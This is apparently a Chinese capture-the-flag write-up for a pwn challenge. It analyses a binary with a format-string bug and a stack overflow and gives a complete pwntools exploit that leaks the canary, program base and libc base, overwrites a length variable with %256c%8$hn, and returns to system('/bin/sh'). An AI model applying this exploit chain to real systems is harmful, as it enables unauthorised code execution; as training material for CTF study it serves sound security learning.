楚慧杯 2026 | Pwn
目录
格式化字符串漏洞 + 栈溢出。其中较难的点,利用格式化字符串修改内存为一个较大的值
查看保护 #
[*] '/home/ash/chuhuibei/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
开启了Canary 和 PIE保护,需要我们在调试的过程中找到程序基址
源码分析 #
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int n4; // [rsp+Ch] [rbp-14h] BYREF
const char *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
v4 = 0LL;
sub_1229();
while ( 1 )
{
while ( 1 )
{
sub_1270();
__isoc99_scanf("%d", &n4);
if ( n4 != 4 )
break;
printf_(v4);
}
if ( n4 > 4 )
break;
switch ( n4 )
{
case 3:
v4 = sub_12E5();
break;
case 1:
sub_133E();
break;
case 2:
sub_135E();
break;
default:
goto LABEL_12;
}
}
LABEL_12:
puts("wrong!");
exit(0);
}
格式化字符串漏洞
unsigned __int64 sub_135E()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please write your name:");
read(0, buf, 0x30uLL);
puts("the name is:");
printf(buf);
return __readfsqword(0x28u) ^ v2;
}
栈溢出
_BYTE *sub_12E5()
{
_BYTE buf[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please write your content");
read(0, buf, nbytes); // 此时nbytes的值为0x20,利用fmt将值改为0x100即可有栈溢出漏洞
return buf;
}
.data:0000000000004010 ; size_t nbytes
.data:0000000000004010 nbytes dq 20h ; DATA XREF: sub_12E5+27↑r
.data:0000000000004010 _data ends
.data:0000000000004010
分析调试 #
泄露canary , 程序基址 , Libc


修改nbytes的值

我们想将nbytes处的值从0x20修改为0x100,我们只需要修改最后两个字节,即,只需要使用%256c%N$hn即可,所以我们需要确定此时N的值。
通过下面的测试可以得出:N = 8

可以看到
修改之前

修改之后

Exp #
from pwn import *
context(log_level = "debug", arch = "amd64")
# io = gdb.debug("./pwn")
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil(b">> ")
io.sendline(b"1")
io.recvuntil(b">> ")
io.sendline(b"2")
io.recvuntil(b"Please write your name:\n")
payload = b"%13$p-%15$p-%21$p-"
io.send(payload)
io.recvuntil(b"the name is:\n")
line = io.recvuntil(b"1. add a house\n").strip()
print(line)
a1, a2, a3, a4= line.split(b"-")
canary = int(a1, 16)
base_addr = int(a2, 16) - 0x147c
libc_base = int(a3, 16) - 0x29d90
log.info(f"canary = {hex(canary)}")
log.info(f"base_addr = {hex(base_addr)}")
log.info(f"libc_base = {hex(libc_base)}")
pop_rdi = 0x0000000000001503 + base_addr
pop_rsi_r15 = 0x0000000000001501 + base_addr
pop_rbp = 0x0000000000001213 + base_addr
ret_addr = 0x000000000000101a + base_addr
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info(f"System address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(binsh_addr)}")
nbytes_addr = base_addr + 0x4010
io.sendline(str(2).encode())
payload = b"%256c%8$hnaaaaaa" + p64(nbytes_addr)
io.recvuntil(b"Please write your name:\n")
io.send(payload)
#io.recv()
payload = b"\x00" * (72) + p64(canary) + b"\x00" * 8 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) +
p64(system_addr)
#pause()
io.recvuntil(b">> ")
#pause()
io.sendline(str(3).encode())
io.recvuntil(b"Please write your content\n")
# pause()
io.send(payload)
io.interactive()

参考阅读:
【1】格式化字符串详解 https://xz.aliyun.com/news/12158
【2】格式化字符串学习 https://blog.csdn.net/rfrder/article/details/122545097
【3】格式化字符串漏洞利用 https://blog.wjhwjhn.com/posts/af55bf3/#printf-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%8F%82%E6%95%B0%E7%94%A8%E6%B3%95
题目链接:https://github.com/Kashyz/pwn#